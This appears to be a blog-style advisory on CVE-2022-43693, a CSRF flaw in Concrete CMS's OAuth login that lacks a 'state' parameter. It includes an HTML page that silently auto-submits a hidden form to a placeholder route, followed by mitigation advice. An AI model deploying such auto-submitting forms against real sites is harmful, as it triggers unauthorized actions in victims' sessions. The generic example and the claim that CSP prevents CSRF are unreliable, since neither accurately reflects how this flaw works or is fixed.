CVE-2022-43693 - Concrete CMS CSRF Vulnerability in OAuth External Authentication Service
The CVE-2022-43693 vulnerability in Concrete CMS (a popular open-source content management system) exposes its users to a Cross-Site Request Forgery (CSRF) attack. This vulnerability stems from the absence of a "State" parameter in the core OAuth external authentication service provided by Concrete CMS "out of the box" implementation. In this post, we will delve into the details of this vulnerability, its root cause, and potential exploit scenarios along with references to the original sources that discuss this issue.
Exploit Details
When utilizing the external OAuth authentication service in its default settings, Concrete CMS does not implement the "State" parameter, which is used to guarantee the authenticity and continuity of the user session during the authentication process. The absence of this parameter enables attackers to craft malicious requests that can perform unauthorized actions in the context of a victim's Concrete CMS account.
An attacker could exploit this vulnerability by sending a carefully constructed link or embedding code in a malicious website or email. Once the victim clicks on the link or gets redirected to the attacker's site, a CSRF attack can be triggered that executes unauthorized actions in the context of the victim's user session.
Here is a simple example of a crafted HTML page that exploits this vulnerability
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Malicious CSRF Exploit</title>
</head>
<body>
<h1>Welcome to the Malicious CSRF Exploit</h1>
<script>
const csrfExploitForm = document.createElement("form");
csrfExploitForm.style.display = "none";
csrfExploitForm.method = "post";
csrfExploitForm.action = "https://your-concrete-cms-instance.com/path/to/vulnerable/route";;
const submitButton = document.createElement("input");
submitButton.type = "submit";
csrfExploitForm.appendChild(submitButton);
document.body.appendChild(csrfExploitForm);
setTimeout(() => {
submitButton.click();
}, 500);
</script>
</body>
</html>
In this example, the malicious link would direct the user to the attacker's site, where JavaScript code automatically submits a form to the vulnerable Concrete CMS route performing unauthorized actions without the user's knowledge.
Original References
1. Concrete CMS OAuth Issue: https://www.concretecms.com/documentation/oauth-2
2. OAuth "State" Parameter: https://tools.ietf.org/html/rfc6749#section-10.12
To protect against this vulnerability, the following steps should be taken
1. Update your Concrete CMS instance to the latest version: The Concrete CMS team may release updates that address this vulnerability. Always keep your Concrete CMS instance up to date to ensure you have the latest security fixes.
2. Implement the "State" parameter in the OAuth authentication process: Adding a unique and unpredictable value in the "State" parameter can help prevent CSRF attacks by maintaining session integrity between the client and server.
3. Use other security mechanisms: Use additional security measures such as Content Security Policy (CSP), which can help protect your users from CSRF and other web-based attacks.
Conclusion
In summary, the CVE-2022-43693 vulnerability in Concrete CMS stems from the lack of "State" parameter implementation for OAuth external authentication service which leads to an increased risk of CSRF attacks. By following the recommendations discussed above and keeping up with the latest security updates from Concrete CMS, you can strengthen the security of your web application and protect your users from potential attacks. Stay safe and secure!
Timeline
Published on: 11/14/2022 17:15:00 UTC
Last modified on: 11/17/2022 21:55:00 UTC